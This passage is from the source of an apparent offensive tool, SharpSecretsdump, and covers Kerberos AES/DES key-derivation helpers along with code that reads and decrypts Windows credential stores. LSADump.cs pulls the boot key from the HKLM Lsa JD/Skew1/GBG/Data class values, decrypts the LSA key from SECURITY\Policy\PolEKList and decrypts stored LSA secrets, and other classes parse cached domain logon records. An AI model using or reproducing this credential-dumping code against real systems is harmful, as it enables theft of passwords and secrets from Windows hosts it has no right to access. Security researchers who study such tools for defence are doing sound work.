exactly a multiply of the block size 119 | int remainLength = inputCount % blockSize; 120 | if (0 == remainLength) 121 | { 122 | // first encrypt in CBC mode 123 | byte[] outputBuffer = EncryptWithCBCMode(inputBuffer, inputOffset, inputCount); 124 | 125 | // then swap the last two blocks 126 | int lastBlockIndex = outputBuffer.Length - blockSize; 127 | int nextToLastBlockIndex = outputBuffer.Length - 2 * blockSize; 128 | byte[] lastBlock = ArrayUtility.SubArray(outputBuffer, outputBuffer.Length - blockSize); 129 | Array.Copy(outputBuffer, nextToLastBlockIndex, outputBuffer, lastBlockIndex, blockSize); 130 | Array.Copy(lastBlock, 0, outputBuffer, nextToLastBlockIndex, blockSize); 131 | return outputBuffer; 132 | } 133 | else 134 | { 135 | // encrypt the input data without the last two blocks 136 | List result = new List(); 137 | int frontLength = inputCount - blockSize - remainLength; 138 | if (frontLength > 0) 139 | { 140 | byte[] frontOutputBuffer = EncryptWithCBCMode(inputBuffer, inputOffset, frontLength); 141 | inputOffset += frontLength; 142 | result.AddRange(frontOutputBuffer); 143 | } 144 | 145 | // encrypt the next to last block 146 | byte[] nextToLastBlock = XorCipherState(inputBuffer, inputOffset, cipherState, blockSize); 147 | nextToLastBlock = encryptor.TransformFinalBlock(nextToLastBlock, 0, nextToLastBlock.Length); 148 | Array.Copy(nextToLastBlock, 0, cipherState, 0, blockSize); 149 | nextToLastBlock = ArrayUtility.SubArray(nextToLastBlock, 0, remainLength); 150 | 151 | // encrypt the last block 152 | inputOffset += blockSize; 153 | byte[] lastBlock = XorCipherState(inputBuffer, inputOffset, cipherState, remainLength); 154 | lastBlock = encryptor.TransformFinalBlock(lastBlock, 0, lastBlock.Length); 155 | 156 | // swap the last two blocks 157 | result.AddRange(lastBlock); 158 | result.AddRange(nextToLastBlock); 159 | return result.ToArray(); 160 | } 161 | } 162 | #endregion Private Methods: Encryption 163 | 164 | 165 | #region Private Methods: Helpers 166 | /// 167 | /// XOR a block of data in the input buffer with current cipher state 168 | /// (The first xorSize bytes in cipher state are used for the operation) 169 | /// 170 | /// input buffer 171 | /// input offset 172 | /// cipher state buffer 173 | /// the size in cipher state that used for XOR operation 174 | /// the XOR result of one block size 175 | private byte[] XorCipherState( 176 | byte[] inputBuffer, 177 | int inputOffset, 178 | byte[] cipherStateBuffer, 179 | int xorSize) 180 | { 181 | byte[] blockBuffer = (byte[])cipherStateBuffer.Clone(); 182 | for (int i = 0; i < xorSize; i++) 183 | { 184 | blockBuffer[i] = (byte)(inputBuffer[inputOffset + i] ^ cipherStateBuffer[i]); 185 | } 186 | return blockBuffer; 187 | } 188 | #endregion Private Methods: Helpers 189 | 190 | 191 | #region Internal Methods 192 | /// 193 | /// Computes the encryption transformation for the specified region of the specified byte array. 194 | /// 195 | /// The input on which to perform the operation on. 196 | /// The offset into the byte array from which to begin using data from. 197 | /// The number of bytes in the byte array to use as data. 198 | /// The computed transformation 199 | /// Thrown when input buffer is null 200 | /// Thrown when invalid argument is detected 201 | public byte[] EncryptFinal( 202 | byte[] inputBuffer, 203 | int inputOffset, 204 | int inputCount) 205 | { 206 | // Check input 207 | if (null == inputBuffer) 208 | { 209 | throw new ArgumentNullException("inputBuffer"); 210 | } 211 | if (inputBuffer.Length < blockSize) 212 | { 213 | throw new ArgumentException( 214 | "The input data to be encrypted should be at least one block size."); 215 | } 216 | if (inputOffset + inputCount > inputBuffer.Length) 217 | { 218 | throw new ArgumentException( 219 | "The to-be encrypted data should not exceed the input array length."); 220 | } 221 | 222 | // Do encryption according to the to be encrypted data length 223 | byte[] result; 224 | if (inputCount == blockSize) 225 | { 226 | // exactly one block 227 | result = EncryptWithCBCMode(inputBuffer, inputOffset, inputCount); 228 | } 229 | else 230 | { 231 | // larger than one block 232 | result = EncryptWithCTSMode(inputBuffer, inputOffset, inputCount); 233 | } 234 | 235 | // Reset cipher state 236 | iv.CopyTo(cipherState, 0); 237 | return result; 238 | } 239 | 240 | #endregion Internal Methods 241 | } 242 | } 243 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/ConstValue.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSecretsdump.lib.Kerberos 4 | { 5 | /// 6 | /// Define const values used in this project. 7 | /// 8 | public static class ConstValue 9 | { 10 | #region Encryption and Checksum 11 | 12 | /// 13 | /// (8 bits) The length of byte in bits 14 | /// 15 | public const int BYTE_SIZE = 8; 16 | 17 | /// 18 | /// (16 bytes = 128 bits) Size of AES encryption block 19 | /// 20 | public const int AES_BLOCK_SIZE = 16; 21 | 22 | /// 23 | /// (8 bytes = 64 bits) Size of DES encryption block 24 | /// 25 | public const int DES_BLOCK_SIZE = 8; 26 | 27 | /// 28 | /// (64 bits) Block Size in DES-CBC 29 | /// 30 | internal const int DES_CBC_BLOCK_SIZE = 64; 31 | 32 | #endregion 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/CryptoUtility.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Security.Cryptography; 4 | 5 | namespace SharpSecretsdump.lib.Kerberos 6 | { 7 | public static class CryptoUtility 8 | { 9 | #region Common 10 | /// 11 | /// Convert a byte to its binary presentation in char array 12 | /// (for example, byte b = 3, which will be presented by 13 | /// char array {'0', '0', '0', '0', '0', '0', '1', '1'}) 14 | /// 15 | /// the byte 16 | /// the byte's binary presentation 17 | internal static char[] GetBits(byte b) 18 | { 19 | // initialize result array to '0' 20 | char[] result = new char[ConstValue.BYTE_SIZE] { '0', '0', '0', '0', '0', '0', '0', '0' }; 21 | 22 | // get the binary 23 | char[] binary = Convert.ToString(b, 2).ToCharArray(); 24 | 25 | // copy binary to result array 26 | Array.Copy(binary, 0, result, result.Length - binary.Length, binary.Length); 27 | return result; 28 | } 29 | 30 | 31 | /// 32 | /// Convert a list of binary bits to bytes 33 | /// (for example, char array {'0', '0', '0', '0', '0', '0', '1', '1'} 34 | /// will be converted to byte b = 3) 35 | /// 36 | /// bits represented by chars ('0' and '1') 37 | /// the converted byte array 38 | internal static byte[] ConvertBitsToBytes(List bits) 39 | { 40 | if (null == bits) 41 | { 42 | throw new ArgumentNullException("bits"); 43 | } 44 | if (bits.Count % ConstValue.BYTE_SIZE != 0) 45 | { 46 | throw new ArgumentException("Bits length should be a multiply of 8"); 47 | } 48 | 49 | byte[] result = new byte[bits.Count / ConstValue.BYTE_SIZE]; 50 | for (int i = 0; i < result.Length; i++) 51 | { 52 | string s = new string(bits.GetRange(i * ConstValue.BYTE_SIZE, ConstValue.BYTE_SIZE).ToArray()); 53 | result[i] = Convert.ToByte(s, 2); 54 | } 55 | return result; 56 | } 57 | 58 | #endregion Common 59 | 60 | 61 | #region DES Crypto Related 62 | /// 63 | /// Create a DES-CBC encryptor 64 | /// 65 | /// the key 66 | /// the initialization vector 67 | /// the padding mode 68 | /// the DES-CBC encryptor 69 | [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security.Cryptography", "CA5351:DESCannotBeUsed")] 70 | internal static ICryptoTransform CreateDesCbcEncryptor( 71 | byte[] key, 72 | byte[] initialVector, 73 | PaddingMode padding) 74 | { 75 | // check inputs 76 | if (null == key) 77 | { 78 | throw new ArgumentNullException("key"); 79 | } 80 | if (null == initialVector) 81 | { 82 | throw new ArgumentNullException("initialVector"); 83 | } 84 | 85 | // Set crypto to DES-CBC mode 86 | DESCryptoServiceProvider des = new DESCryptoServiceProvider(); 87 | des.Mode = CipherMode.CBC; 88 | des.BlockSize = ConstValue.DES_CBC_BLOCK_SIZE; 89 | 90 | // Set padding mode 91 | des.Padding = padding; 92 | 93 | // Create encryptor from key and initilize vector 94 | return des.CreateEncryptor(key, initialVector); 95 | } 96 | 97 | #endregion DES Crypto Related 98 | 99 | #region AES Crypto Related 100 | /// 101 | /// Create AES-CTS encryptor/decryptor 102 | /// 103 | /// the key 104 | /// the initialization vector 105 | /// the AES-CTS encryptor 106 | internal static CipherTextStealingMode CreateAesCtsCrypto( 107 | byte[] key, 108 | byte[] initialVector) 109 | { 110 | // check inputs 111 | if (null == key) 112 | { 113 | throw new ArgumentNullException("key"); 114 | } 115 | if (null == initialVector) 116 | { 117 | throw new ArgumentNullException("initialVector"); 118 | } 119 | 120 | // initialize AES 121 | AesCryptoServiceProvider aes = new AesCryptoServiceProvider(); 122 | aes.Key = key; 123 | aes.IV = initialVector; 124 | 125 | // create AES-CTS encryptor/decryptor 126 | return new CipherTextStealingMode(aes); 127 | } 128 | #endregion AES Crypto Related 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/DesKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Collections.Generic; 4 | using System.Security.Cryptography; 5 | 6 | namespace SharpSecretsdump.lib.Kerberos 7 | { 8 | /// 9 | /// DES Key Generator 10 | /// 11 | public static class DesKey 12 | { 13 | #region Constants 14 | /// 15 | /// Weak key table 16 | /// (defined in National Bureau of Standards, U.S. Department of Commerce, 17 | /// "Guidelines for implementing and using NBS Data Encryption Standard," 18 | /// Federal Information Processing Standards Publication 74, Washington, DC, 1981) 19 | /// 20 | private static readonly ulong[] weakKeys = new ulong[] { 21 | 0x0101010101010101, 0xFEFEFEFEFEFEFEFE, 0xE0E0E0E0F1F1F1F1, 0x1F1F1F1F0E0E0E0E, 22 | 0x011F011F010E010E, 0x1F011F010E010E01, 0x01E001E001F101F1, 0xE001E001F101F101, 23 | 0x01FE01FE01FE01FE, 0xFE01FE01FE01FE01, 0x1FE01FE00EF10EF1, 0xE01FE01FF10EF10E, 24 | 0x1FFE1FFE0EFE0EFE, 0xFE1FFE1FFE0EFE0E, 0xE0FEE0FEF1FEF1FE, 0xFEE0FEE0FEF1FEF1 25 | }; 26 | #endregion Constants 27 | 28 | 29 | #region Private Methods 30 | /// 31 | /// Remove the MSB (Most Significant Bit) in each octet 32 | /// (in big endian mode) and concatenates the result 33 | /// [RFC 3961, Section 6.2, removeMSBits()] 34 | /// 35 | /// input 8 bytes 36 | /// output 7 bytes 37 | private static byte[] RemoveMSBits(byte[] inputData) 38 | { 39 | // check input 40 | if (null == inputData || ConstValue.DES_BLOCK_SIZE != inputData.Length) 41 | { 42 | throw new ArgumentException("The input data must contain exactly 8 bytes."); 43 | } 44 | 45 | // remove the most significant bit from each byte 46 | List newBits = new List(); 47 | foreach (byte b in inputData) 48 | { 49 | List temp = new List(CryptoUtility.GetBits(b)); 50 | temp.RemoveAt(0); 51 | newBits.AddRange(temp); 52 | } 53 | 54 | // parse the 56 bits to 7 bytes 55 | return CryptoUtility.ConvertBitsToBytes(newBits); 56 | } 57 | 58 | 59 | /// 60 | /// Treat a 56-bit block as a binary string and reverse it 61 | /// [RFC 3961, Section 6.2, reverse(56bitblock)] 62 | /// 63 | /// input data to be reversed 64 | /// the reversed data 65 | private static byte[] Reverse(byte[] inputData) 66 | { 67 | // Check input 68 | if (null == inputData || 7 != inputData.Length) 69 | { 70 | throw new ArgumentException("The inputData should be a 56 bits value."); 71 | } 72 | 73 | // Get all bits 74 | List allBits = new List(); 75 | foreach (byte b in inputData) 76 | { 77 | allBits.AddRange(CryptoUtility.GetBits(b)); 78 | } 79 | 80 | // Reverse 81 | allBits.Reverse(); 82 | 83 | // Convert bits to bytes 84 | return CryptoUtility.ConvertBitsToBytes(allBits); 85 | } 86 | 87 | 88 | /// 89 | /// Add DES Parity Bits 90 | /// (Copies a 56-bit block into a 64-bit block, 91 | /// left shifts content in each octet, and add DES parity bit) 92 | /// [RFC 3961, Section 6.2, add_parity_bits(56bitblock)] 93 | /// 94 | /// the input 56-bit data 95 | /// the parity-added 64-bit data 96 | private static byte[] AddParityBits(byte[] inputData) 97 | { 98 | // check input 99 | if (null == inputData || 7 != inputData.Length) 100 | { 101 | throw new ArgumentException("The inputData should be a 56 bits value."); 102 | } 103 | 104 | // get all bits 105 | List allBits = new List(); 106 | foreach (byte b in inputData) 107 | { 108 | allBits.AddRange(CryptoUtility.GetBits(b)); 109 | } 110 | 111 | // insert parity bits 112 | List newBits = new List(); 113 | for (int i = 0; i < ConstValue.DES_BLOCK_SIZE; i++) 114 | { 115 | // get 7 bits 116 | List temp = allBits.GetRange(7 * i, 7); 117 | 118 | // count the number of ones 119 | bool even = true; 120 | foreach (char bit in temp) 121 | { 122 | if (bit == '1') 123 | { 124 | even = !even; 125 | } 126 | } 127 | 128 | // if the number of 1 in an octet is even, the least significant bit will be 1 129 | temp.Add(even ? '1' : '0'); 130 | newBits.AddRange(temp); 131 | } 132 | 133 | // convert to bytes 134 | return CryptoUtility.ConvertBitsToBytes(newBits); 135 | } 136 | 137 | 138 | /// 139 | /// Fix parity bits in input data 140 | /// 141 | /// input data 142 | /// parity-fixed data 143 | private static byte[] FixParity(byte[] inputData) 144 | { 145 | List newBits = new List(); 146 | for (int i = 0; i < inputData.Length; i++) 147 | { 148 | char[] bits = CryptoUtility.GetBits(inputData[i]); 149 | 150 | // check the first 7 bits 151 | bool even = true; 152 | for (int j = 0; j < bits.Length - 1; j++) 153 | { 154 | if (bits[j] == '1') 155 | { 156 | even = !even; 157 | } 158 | } 159 | 160 | // Reset the last bit 161 | bits[bits.Length - 1] = even ? '1' : '0'; 162 | newBits.AddRange(bits); 163 | } 164 | return CryptoUtility.ConvertBitsToBytes(newBits); 165 | } 166 | 167 | 168 | /// 169 | /// The key is corrected when the parity is fixed and 170 | /// assure the key is not "weak key" or "semi-weak key" 171 | /// [RFC 3961, Section 6.2, key_correction(key)) 172 | /// 173 | /// input key data 174 | /// the corrected key data 175 | private static byte[] KeyCorrection(byte[] key) 176 | { 177 | // fix parity 178 | byte[] newKey = FixParity(key); 179 | 180 | // convert to little endian 181 | Array.Reverse(newKey); 182 | ulong weakKeyTest = BitConverter.ToUInt64(newKey, 0); 183 | 184 | // Recovery the order 185 | Array.Reverse(newKey); 186 | 187 | // if it is weak key or semi-weak key, correct it 188 | List weakKeyList = new List(weakKeys); 189 | if (weakKeyList.Contains(weakKeyTest)) 190 | { 191 | // XOR with 0x00000000000000F0 192 | newKey[7] ^= 0xF0; 193 | } 194 | return newKey; 195 | } 196 | 197 | 198 | /// 199 | /// Generate DES key from specified string and salt 200 | /// [RFC 3961, Section 6.2, mit_des_string_to_key(string, salt)] 201 | /// 202 | /// password in UTF-8 203 | /// salt in UTF-8 204 | /// the generated DES key (8 bytes) 205 | private static byte[] MitDesStringToKey(string password, string salt) 206 | { 207 | // check input 208 | if (null == password) 209 | { 210 | throw new ArgumentNullException("password"); 211 | } 212 | if (null == salt) 213 | { 214 | throw new ArgumentNullException("salt"); 215 | } 216 | 217 | // initialize input buffer 218 | List inputBytes = new List(); 219 | inputBytes.AddRange(Encoding.UTF8.GetBytes(password)); 220 | inputBytes.AddRange(Encoding.UTF8.GetBytes(salt)); 221 | 222 | //Add padding to 8 byte boundary 223 | int inputLength = inputBytes.Count + (ConstValue.DES_BLOCK_SIZE - inputBytes.Count % 224 | ConstValue.DES_BLOCK_SIZE) % ConstValue.DES_BLOCK_SIZE; 225 | 226 | byte[] input = new byte[inputLength]; 227 | Array.Copy(inputBytes.ToArray(), 0, input, 0, inputBytes.Count); 228 | 229 | // initialize temporary buffers 230 | byte[] blockBuffer = new byte[ConstValue.DES_BLOCK_SIZE]; 231 | byte[] sevenBytesBuffer = new byte[7]; 232 | byte[] fanFoldBuffer = new byte[7]; 233 | 234 | // fan-fold padded value 235 | bool odd = true; 236 | for (int i = 0; i < input.Length; i += ConstValue.BYTE_SIZE) 237 | { 238 | // get a new block 239 | Array.Copy(input, i, blockBuffer, 0, blockBuffer.Length); 240 | 241 | // remove most significant bits 242 | sevenBytesBuffer = RemoveMSBits(blockBuffer); 243 | 244 | // do reverse 245 | if (!odd) 246 | { 247 | sevenBytesBuffer = Reverse(sevenBytesBuffer); 248 | } 249 | odd = !odd; 250 | 251 | // do fan-fold 252 | for (int j = 0; j < fanFoldBuffer.Length; j++) 253 | { 254 | fanFoldBuffer[j] ^= sevenBytesBuffer[j]; 255 | } 256 | } 257 | 258 | // convert to a 64-bit intermediate key 259 | byte[] intermediateKey = KeyCorrection(AddParityBits(fanFoldBuffer)); 260 | 261 | // encryption 262 | // (DES key is generated from intermediate key, the IV also uses the intermediate key) 263 | ICryptoTransform encryptor = 264 | CryptoUtility.CreateDesCbcEncryptor(intermediateKey, intermediateKey, PaddingMode.Zeros); 265 | byte[] result = encryptor.TransformFinalBlock(input, 0, input.Length); 266 | if (result.Length < 2 * ConstValue.DES_BLOCK_SIZE) 267 | { 268 | throw new FormatException("DES CBC Encryption Error."); 269 | } 270 | 271 | // DES key is the key-corrected last block of the encryption value 272 | byte[] lastBlock = new byte[ConstValue.DES_BLOCK_SIZE]; 273 | Array.Copy(result, result.Length - ConstValue.DES_BLOCK_SIZE, lastBlock, 0, lastBlock.Length); 274 | return KeyCorrection(lastBlock); 275 | } 276 | #endregion Private Methods 277 | 278 | 279 | #region Internal Methods 280 | /// 281 | /// Generate an encryption key from password and salt 282 | /// [RFC 3961, Section 6.2, des_string_to_key(string,salt,params)] 283 | /// 284 | /// password 285 | /// salt 286 | /// the encrypted key in bytes 287 | internal static byte[] MakeStringToKey(string password, string salt) 288 | { 289 | return MitDesStringToKey(password, salt); 290 | } 291 | #endregion Internal Methods 292 | } 293 | } 294 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/KeyGenerator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | 4 | namespace SharpSecretsdump.lib.Kerberos 5 | { 6 | /// 7 | /// Key Generator 8 | /// (called by KilePdu and KileDecoder) 9 | /// 10 | public static class KeyGenerator 11 | { 12 | /// 13 | /// Generate key according to password, salt and encryption type 14 | /// 15 | /// encryption type 16 | /// password 17 | /// salt 18 | /// the generated key in bytes 19 | public static byte[] MakeKey(EncryptionType type, string password, string salt) 20 | { 21 | switch (type) 22 | { 23 | case EncryptionType.AES128_CTS_HMAC_SHA1_96: 24 | { 25 | return AesKey.MakeStringToKey(password, salt, 26 | AesKey.DEFAULT_ITERATION_COUNT, AesKeyType.Aes128BitsKey); 27 | } 28 | 29 | case EncryptionType.AES256_CTS_HMAC_SHA1_96: 30 | { 31 | return AesKey.MakeStringToKey(password, salt, 32 | AesKey.DEFAULT_ITERATION_COUNT, AesKeyType.Aes256BitsKey); 33 | } 34 | 35 | case EncryptionType.DES_CBC_MD5: 36 | { 37 | return DesKey.MakeStringToKey(password, salt); 38 | } 39 | 40 | default: 41 | throw new ArgumentException("Unsupported encryption type."); 42 | } 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/Kerberos/Types.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSecretsdump.lib.Kerberos 4 | { 5 | public enum EncryptionType : int 6 | { 7 | /// 8 | /// Represent AES256_CTS_HMAC_SHA1_96 encryption type 9 | /// 10 | AES256_CTS_HMAC_SHA1_96 = 18, 11 | 12 | /// 13 | /// Represent AES128_CTS_HMAC_SHA1_96 encryption type 14 | /// 15 | AES128_CTS_HMAC_SHA1_96 = 17, 16 | 17 | /// 18 | /// Represent DES_CBC_MD5 encryption type 19 | /// 20 | DES_CBC_MD5 = 3, 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/LSADump.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Runtime.InteropServices; 4 | using System.Text; 5 | 6 | namespace SharpSecretsdump 7 | { 8 | public class LSADump 9 | { 10 | public static byte[] GetLSASecret(string secretName, byte[] LSAKey) 11 | { 12 | string keyPath = String.Format("SECURITY\\Policy\\Secrets\\{0}\\CurrVal", secretName); 13 | byte[] keyData = Helpers.GetRegKeyValue(keyPath); 14 | 15 | if (keyData == null) 16 | return null; 17 | 18 | byte[] keyEncryptedData = new byte[keyData.Length - 28]; 19 | Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length); 20 | 21 | // calculate the temp key by using the LSA key to calculate the Sha256 hash on the first 32 bytes 22 | // of the extracted secret data 23 | byte[] keyEncryptedDataEncryptedKey = new byte[32]; 24 | Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32); 25 | byte[] tmpKey = Crypto.LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey); 26 | 27 | // use the temp key to decrypt the rest of the plaintext 28 | byte[] keyEncryptedDataRemainder = new byte[keyEncryptedData.Length - 32]; 29 | Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length); 30 | byte[] keyPathPlaintext = Crypto.LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder); 31 | 32 | return keyPathPlaintext; 33 | } 34 | 35 | public static byte[] GetLSAKey(byte[] bootkey) 36 | { 37 | byte[] LSAKeyEncryptedStruct = Helpers.GetRegKeyValue(@"SECURITY\Policy\PolEKList"); 38 | byte[] LSAEncryptedData = new byte[LSAKeyEncryptedStruct.Length-28]; 39 | Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length); 40 | 41 | // calculate the temp key by using the boot key to calculate the Sha256 hash on the first 32 bytes 42 | // of the LSA key data 43 | byte[] LSAEncryptedDataEncryptedKey = new byte[32]; 44 | Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32); 45 | byte[] tmpKey = Crypto.LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey); 46 | 47 | // use the temp key to decrypt the rest of the LSA struct 48 | byte[] LSAEncryptedDataRemainder = new byte[LSAEncryptedData.Length-32]; 49 | Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length); 50 | byte[] IV = new byte[16]; 51 | byte[] LSAKeyStructPlaintext = Crypto.LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder); 52 | 53 | byte[] LSAKey = new byte[32]; 54 | Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32); 55 | 56 | return LSAKey; 57 | } 58 | 59 | public static byte[] GetBootKey() 60 | { 61 | // returns the system boot key (aka syskey) that's later used to calculate the LSA key 62 | 63 | StringBuilder scrambledKey = new StringBuilder(); 64 | 65 | foreach (string key in new string[] { "JD", "Skew1", "GBG", "Data" }) 66 | { 67 | string keyPath = String.Format("SYSTEM\\CurrentControlSet\\Control\\Lsa\\{0}", key); 68 | StringBuilder classVal = new StringBuilder(1024); 69 | int len = 1024; 70 | int result = 0; 71 | IntPtr hKey = IntPtr.Zero; 72 | IntPtr dummy = IntPtr.Zero; 73 | 74 | // open the specified key with read (0x19) privileges 75 | // 0x80000002 == HKLM 76 | result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey); 77 | if (result != 0) 78 | { 79 | int error = Marshal.GetLastWin32Error(); 80 | string errorMessage = new Win32Exception((int)error).Message; 81 | Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, error, errorMessage); 82 | return null; 83 | } 84 | 85 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero); 86 | if (result != 0) 87 | { 88 | int error = Marshal.GetLastWin32Error(); 89 | string errorMessage = new Win32Exception((int)error).Message; 90 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage); 91 | return null; 92 | } 93 | Interop.RegCloseKey(hKey); 94 | 95 | scrambledKey.Append(classVal); 96 | } 97 | 98 | // reference: https://github.com/brandonprry/gray_hat_csharp_code/blob/e1d5fc2a497ae443225d840718adde836ffaeefe/ch14_reading_offline_hives/Program.cs#L74-L82 99 | byte[] skey = Helpers.StringToByteArray(scrambledKey.ToString()); 100 | byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 101 | 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 }; 102 | 103 | byte[] bootkey = new byte[16]; 104 | for (int i = 0; i < bootkey.Length; i++) 105 | bootkey[i] = skey[descramble[i]]; 106 | 107 | return bootkey; 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/LsaSecretBlob.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | namespace SharpSecretsdump 4 | { 5 | internal class LsaSecretBlob 6 | { 7 | public LsaSecretBlob(byte[] inputData) 8 | { 9 | length = BitConverter.ToInt16(inputData.Take(4).ToArray(), 0); 10 | unk = inputData.Skip(4).Take(12).ToArray(); 11 | secret = inputData.Skip(16).Take(length).ToArray(); 12 | } 13 | 14 | public int length { get; set; } 15 | public byte[] unk { get; set; } 16 | public byte[] secret { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SharpSecretsdump/lib/NL_Record.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | 4 | namespace SharpSecretsdump 5 | { 6 | internal class NL_Record 7 | { 8 | public NL_Record(byte[] inputData) 9 | { 10 | userLength = BitConverter.ToInt16(inputData.Take(2).ToArray(), 0); 11 | domainNameLength = BitConverter.ToInt16(inputData.Skip(2).Take(2).ToArray(), 0); 12 | dnsDomainLength = BitConverter.ToInt16(inputData.Skip(60).Take(2).ToArray(), 0); 13 | IV = inputData.Skip(64).Take(16).ToArray(); 14 | encryptedData = inputData.Skip(96).Take(inputData.Length - 96).ToArray(); 15 | lastWrite = DateTime.FromFileTimeUtc(BitConverter.ToInt64(inputData.Skip(32).Take(8).ToArray(), 0)); 16 | } 17 | public int userLength { get; set; } 18 | public int domainNameLength { get; set; } 19 | public int dnsDomainLength { get; set; } 20 | public byte[] IV { get; set; } 21 | public byte[] encryptedData { get; set; } 22 | public DateTime lastWrite { get; set; } 23 | } 24 | } 25 | --------------------------------------------------------------------------------